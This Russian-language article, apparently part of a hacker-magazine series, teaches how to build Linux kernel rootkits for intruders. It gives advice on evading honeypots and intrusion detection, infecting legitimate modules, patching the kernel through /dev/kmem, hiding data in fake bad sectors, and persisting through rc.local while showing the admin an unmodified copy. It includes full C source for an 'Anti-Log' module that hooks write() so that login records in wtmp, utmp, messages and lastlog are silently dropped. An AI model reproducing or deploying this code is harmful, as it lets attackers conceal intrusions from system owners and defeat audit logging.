• Партнер

  • Хай пиплы!

    Эта статья посвящается классным girls: Юле,
    двум Аням, Наташе и Тане 🙂

    Если ты не читал первую
    и вторую
    части, рекомендую все-таки прочитать ее
    перед тем как читать эту.

    После публикации первой части ко мне пришли
    письма с вопросами, поэтому я решил начать
    эту часть с нескольких советов по поводу
    часто встречающихся проблем:

    Если немножко не совпадают версии ядра с
    которым работаешь и для которого был
    скомпилирован модуль и insmod module.o пишет что-то
    типа:

    kernel-module version mismatch
    module.o was compiled for kernel version 2.4.20
    while this kernel is version 2.4.20-9asp

    просто передай insmod'у флаг -f вот так:

    insmod module.o -f

    (Force - сила/форсировать) тогда insmod
    поругается, но модуль загрузит 🙂 Можно
    также устроить разборку с include файлами или
    скомпилировать мод без версии.

    При загрузке прячущего модуля, который был
    описан в примере, надо передавать только
    имя модуля (так как оно пишется lsmod'ом), то
    есть без расширения файла '.o'.
    Примеры:

    неправильно - # insmod hide.o hide=module.o
    правильно - # insmod hide.o hide=module

    Если пишет, что не видит функцию hide.o: unresolved
    symbol strcmp, то в данном случае реализуй её
    самостоятельно:

    int strcmp(const char * cs,const char * ct)
    {
    register signed char __res;
    while (1)
    {
    if ((__res = *cs - *ct++) != 0 || !*cs++)
    break;
    }
    return __res;
    }

    Но лучше ее назвать как-нибудь по
    другому, например mystrcmp или strequal. Не забудь
    кинуть ее перед init_module или задефайнить
    сначала.

    Ну а теперь мы снова продолжаем путешествие
    к ядру Linux'a 🙂

    Самое главное - предохранятся! 😉
    Предохраняются все - квэйкеры надевают
    тонны армора и мегахэлфы, сисопы ставят
    тучу фаэрволов, систем обнаружения
    вторжений. Но самое страшное это honey-pot'ы
    и honey-net'ы
    . Когда хакер нападает на honey-pot/net
    он превращается из охотника в дичь, а узнает
    об этом только от ОМОН'а, выбившего дверь...
    🙁 Поэтому перед тем как дальше
    рассказывать о кодинге LKM Rootkit'ов, я расскажу
    как защитится хаксору от сисопа. Сначала
    рассмотрим продвинутые методы обнаружения
    модулей, а потом скрытия. Есть две основные
    стратегии обнаружения чужих LKM'ов:

    1. обнаружение попытки загрузить модуль
    2. обнаружение модуля, когда он уже залит в
    ядро

    Для того, чтобы обнаружить попытку загрузки
    модуля можно модифицировать insmod или само
    ядро. В ядре есть 4 системных вызова (system calls)
    для работы с модулями, вот они:

    1. create_module
    2. init_module
    3. delete_module
    4. query_module

    Подробную информацию о них можешь
    прочитать в соответствующих man pages. Если
    перехватить эти системные вызовы, то можно
    будет создать логгер чтобы видеть кто,
    когда и что пытался загрузить в ядро, а
    также запретить саму загрузку.

    Что касается обнаружения модулей когда они
    уже загружены, то читай статью в Phrack
    #61 из раздела Linenoise
    . Хотя метод, конечно,
    экстремальный... 🙂

    Еще иногда ядро может быть скомпилировано
    без поддержки LKM. Тогда insmod'ом мод загрузить
    не возможно... теоретически... а практически...
    - читай дальше 😉

    Продвинутые методы загрузки модулей.

    Полностью все методы описывать не буду,
    сделаю лишь небольшой обзор и дам линки где
    почитать подробнее. А ты по экспериментируй
    с этими методами и выбери наиболее
    подходящий тебе.

    1. скрестить 2 модуля (нормальный из /lib/modules/...
    и сам rootkit)
    2. патчинг ядра в реальном времени (через
    файлы-девайсы /dev/mem & /dev/kmem)
    3. статический патчинг ядра

    Скрещивание 2-х модулей чем-то напоминает
    заражение программы вирусом, когда в
    нормальную прогу добавляются
    дополнительные команды. Для скрещивания
    модулей есть известный скрипт lkminject.sh by truff http://projet7.tuxfamily.org/factory/releases/lkminject.sh.
    Также truff написал статью по этой теме в Phrack #61.
    Преимущества этого метода в том, что если
    инфицировать нормальный, используемый
    модуль, то в следующий раз при загрузке
    компьютера ты сможешь забраться в ядро, и
    большинство систем обнаружения вторжений
    этого не заметят. Недостатки - зараженный
    модуль могут обнаружить проги типа Tripwire. Но
    это легко лечится - как перенаправлять
    файлы рассказано в этой статье ниже.

    Файлы /dev/mem и /dev/kmem это один из довольно
    удобных способов прямого обращения к
    оперативной памяти. Для полной инфы смотри
    man'ы для mem и kmem. Уже существует достаточно
    много док и прог по этой теме. Неплохую доку
    написал Silvio Cesare в статье "Runtime kernel kmem patching"
    в 1998 году. http://www.big.net.au/~silvio
    http://vx.netlux.org/lib/vsc07.html.

    Статический патчинг ядра примерно тоже, что
    и скрещивание 2-х модулей. Только
    модифицируется файл, содержащий само ядро,
    а не модуль. Обычно это /vmlinuz или /boot/vmlinuz. "Static
    Kernel Patching" - хорошая дока, написанная jbtzhm'ом,
    которая была опубликована в Phrack #60 http://www.phrack.org/show.php?p=60&a=8.

    Продвинутые игры с VFS.

    Вообще-то продвинутые хакеры стараются не
    хранить файлов в файловой системе. Какие бы
    супер-пупер методы скрытия файлов в
    файловой системе они бы не придумали,
    всегда можно загрузить другой комп и
    присоединить к нему винт похаканой тачки. И
    тогда, если там, в файловой системе, будут
    какие-то файлы хаксора, то никакой LKM не
    поможет, и все файлы будут как на ладони. Но
    и в других случаях Rootkit не всегда сможет
    защитить файлы хаксора (часто это может
    происходить пре upgrade'е системы). Поэтому
    продвинутые челы хранят свои файлы на диске,
    но без учетной записи в файловой системе. То
    есть данные на диске есть, но в файловой
    системе информации о них нет. И только
    хаксор знает их точное место нахождения на
    диске. Чтоб эти данные не были перезаписаны,
    сектора, в которых они находятся,
    помечаются специальным маркером "bad sector".
    И тогда система думает, что в этом самом
    месте жесткий диск поврежден и не
    использует эти сектора. Для доступа к таким
    файлам-невидимкам применяются специальные
    проги, но мы их сейчас рассматривать не
    будем. Но даже если хранить свои данные вне
    файловой системы иногда надо иметь
    возможность перенаправлять и прятать файлы.
    Например, если надо как-то загружать LKM Rootkit,
    то можно добавить команду загрузки insmod в
    какой-нибудь файл типа /etc/rc.d/rc.local и тогда
    модуль будет автоматически загружаться при
    загрузке компьютера. После чего, при
    попытке чтения файла /etc/rc.d/rc.local, rootkit будет
    выдавать сохраненную копию настоящего rc.local,
    а не модифицированную, и сисоп не сможет
    увидеть изменения 🙂

    Рекомендую почитать RTFM доку /usr/src/linux/Documentation/fs/vfs.txt.

    Для разминки мы рассмотрим такой простой
    прикол, который я назвал Anti-Log. Наворот этого
    метода заключается в том, что по
    определенному сигналу (например пакет из
    сети со специальным содержанием) запись
    данных в лог файлы не совершается. Тогда ты
    сможешь спокойно залогиниться в систему по
    SSH/Telnet/FTP, но записи об этом в лог файлах не
    будет, так что их не нужно будет чистить 🙂

    Для этого просто перехватываем функцию write,
    и если файл в который пытаются писать
    программы является лог файлом, то мы просто
    игнорируем это, не вызывая настоящую write.

    /*
    Anti-Log by Alekz Under (skleroz@pisem.net)
    Messages don't go to log files when this module is loa
    ded.
    */

    #define MODULE
    #define __KERNEL__
    #include <linux/config.h>
    #include <linux/kernel.h>
    #include <linux/module.h>
    #include <linux/version.h>
    #include <linux/string.h>

    // include'ы для работы с
    файловой системой

    #include <linux/slab.h>
    #include <linux/locks.h>
    #include <linux/fd.h>
    #include <linux/fs.h>
    #include <linux/smp_lock.h>
    #include <asm/uaccess.h>

    struct file_operations * fop;
    struct file_operations orig_fop;

    struct nameidata nd;

    unsigned long antilogs[] = { 55751, 54244, 54998, 64741, 0 };
    /*
    числа - это номера inode'ов
    log-файлов (/var/log/wtmp, /var/run/utmp, /var/log/messages, /var/log/lastlog).
    узнай их с помощью команды stat.
    в твоей системе они будут другие и могут
    периодически меняться!
    о том как автоматически их узнавать
    расскажу попозже.
    0 в конце - обязательно!

    */

    ssize_t wrap_write(struct file * a, const char * b, size_t c, loff_t * d)
    {
    int i;

    for(i = 0; antilogs[i]; i++)
    {
    if(a->f_dentry->d_inode->i_ino == antilogs[i]) //
    если
    этот файл есть лог - вернуться из функции

    return c;
    }

    return orig_fop.write(a, b, c, d);
    }

    int init_module(void)
    {
    int error;

    char path[] = "/etc/inittab";

    if (path_init(path,0,&nd))
    error = path_walk(path, &nd);
    if (!error)
    {
    lock_kernel(); //
    анестезия
    для ядра, чтобы оно не дёргалось во время
    операции 🙂 

    fop = nd.dentry->d_inode->i_fop;

    // ну а теперь самое
    вкусное - перехват функции write
    orig_fop.write = fop->write; // сохраняем
    адрес настоящей функции write

    fop->write = wrap_write; //
    меняем
    указатель так, что теперь будет вызываться
    wrap_write вместо write

    unlock_kernel(); // теперь ядро
    можно отпустить 🙂

    } else { return -1; }

    return 0;
    }

    void cleanup_module(void)
    {
    fop->write = orig_fop.write; //
    восстанавливаем
    указатель на настоящую
    write path_release(&nd);
    }

    Теперь посмотри список залогиненых юзеров
    командой w или who, откомпилируй мод, загрузи
    его и залогинься в систему еще раз. Снова
    сделай w/who и сравни список юзеров с
    предыдущим - он ни капельки не должен
    отличатся 🙂

    Ну а теперь самое интересное - редирект (перенаправление)
    файлов.

    Для этих целей мы перехватим функцию open и
    заменим некоторые структуры, содержащие
    инфу о настоящем файле на инфу об обманном
    файле. В результате этого, когда будет
    вызываться read или write для чтения или записи
    в файл, настоящие read/write будут читать/писать
    в обманный файл, а не в настоящий.

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии